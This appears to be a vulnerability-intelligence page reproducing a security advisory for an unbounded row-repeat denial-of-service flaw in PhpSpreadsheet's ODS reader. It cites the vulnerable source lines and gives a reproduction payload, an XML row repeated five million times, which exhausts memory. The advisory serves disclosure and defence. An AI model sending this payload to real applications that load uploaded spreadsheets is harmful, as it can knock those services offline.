CVE-2026-108359 — 脆弱性インテリジェンス
PHP / Composer — phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet
公表日:
- CVSS
- 0
- CISA KEV
- 未掲載（悪用がないことを意味しません）
情報源の原文（翻訳ではありません）
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)
## Summary
When PhpSpreadsheet loads an OpenDocument Spreadsheet (`.ods`), `Ods::processTableRow()`
reads the `table:number-rows-repeated` attribute of a `<table:table-row>` with an unchecked
`(int)` cast, then materialises one cell per repeated row. This value is **completely unbounded**,
so a **single ~1.4 KB file** can instruct the reader to create up to **millions of cells**,
exhausting memory (fatal OOM). No authentication, no special configuration, and the default read
filter are required - any application that loads a user-supplied `.ods` is affected.
---
## Affected versions
The `number-rows-repeated` expansion has existed in the ODS reader since its inception
(pre-dating the current release branches), so all maintained lines are affected.
| Branch | Affected |
|--------|----------|
| 1.x | ≤ 1.30.6 |
| 2.0–2.1 | ≤ 2.1.18 |
| 2.2–2.4 | ≤ 2.4.7 |
| 3.x | ≤ 3.10.7 |
| 4.x–5.x | ≤ 5.9.0 (latest) |
---
## Root cause (source → sink)
`src/PhpSpreadsheet/Reader/Ods.php`:
```php
// line 816 — row repeat, unchecked (int) cast
$rowRepeats = (int) $childNode->getAttributeNS($tableNs, 'number-rows-repeated');
...
// line 1151 — row materialisation loop: NO upper bound
for ($rowAdjust = 0; $rowAdjust < $rowRepeats; ++$rowAdjust) {
$rID = $rowID + $rowAdjust;
$cell = $spreadsheet->getActiveSheet()->getCell($columnID . $rID); // allocates a Cell
$cell->setValueExplicit($dataValue, $type);
// ... no bounds check on $rowAdjust or $rID ...
}
```
**Why columns are NOT vulnerable (already bounded):**
The column-header loop at line 1326 shows the correct pattern with bounds checking:
```php
// line 1326 (processTableColumnHeader): BOUNDED correctly
for ($rowRepeats2 = $rowRepeats; $rowRepeats2 > 0 && $tableColumnIndex2 <= AddressRange::MAX_COLUMN_INT; --$rowRepeats2) {
// HAS BOUNDS CHECK: && $tableColumnIndex2 <= AddressRange::MAX_COLUMN_INT
}
```
Additionally, the cell-data column loop at line 1141 calls `getCell()` which throws exception
at `Coordinate.php:448` when column exceeds `MAX_COLUMN_INT` (XFD / 16,384):
```php
// Coordinate.php line 448
if ($columnIndex > self::MAX_COLUMN_INT) {
throw new Exception('Column string index can not be beyond XFD');
}
```
**Result:** Columns are capped at 16,384. Only rows are unbounded.
---
## Impact
**Memory exhaustion (single valued cell, repeated many rows):**
A non-null cell value with a huge `number-rows-repeated` attribute materialises millions of
`Cell` objects → PHP fatal `Allowed memory size ... exhausted`.
**Example:**
- Payload: `<table:table-row table:number-rows-repeated="5000000">` (5 million rows)
- File size: 1.4 KB
- Memory consumed: ~256 MB (one Cell object per row)
- Result: OOM at default memory limit
---
## Reproduction
**Vulnerable payload (causes OOM):**
```xml
<table:table table:name="Sheet1">
<table:table-row table:number-rows-repeated="5000000">
<table:table-cell office:value-type="float" office:value="1">
<text:p>1</text:p>
</table:table-cell>
</table:table-row>
</table:table>
```
**Not vulnerable (for reference - throws exception):**
```xml
<table:table table:name="Sheet1">
<table:table-row>
<table:table-cell office:value-type="float" office:value="1"
table:number-columns-repeated="1000000000">
<text:p>1</text:p>
</table:table-cell>
</table:table-row>
</table:table>
```
This column-repeat example throws `Column string index can not be beyond XFD` exception
(bounded defense, already in place).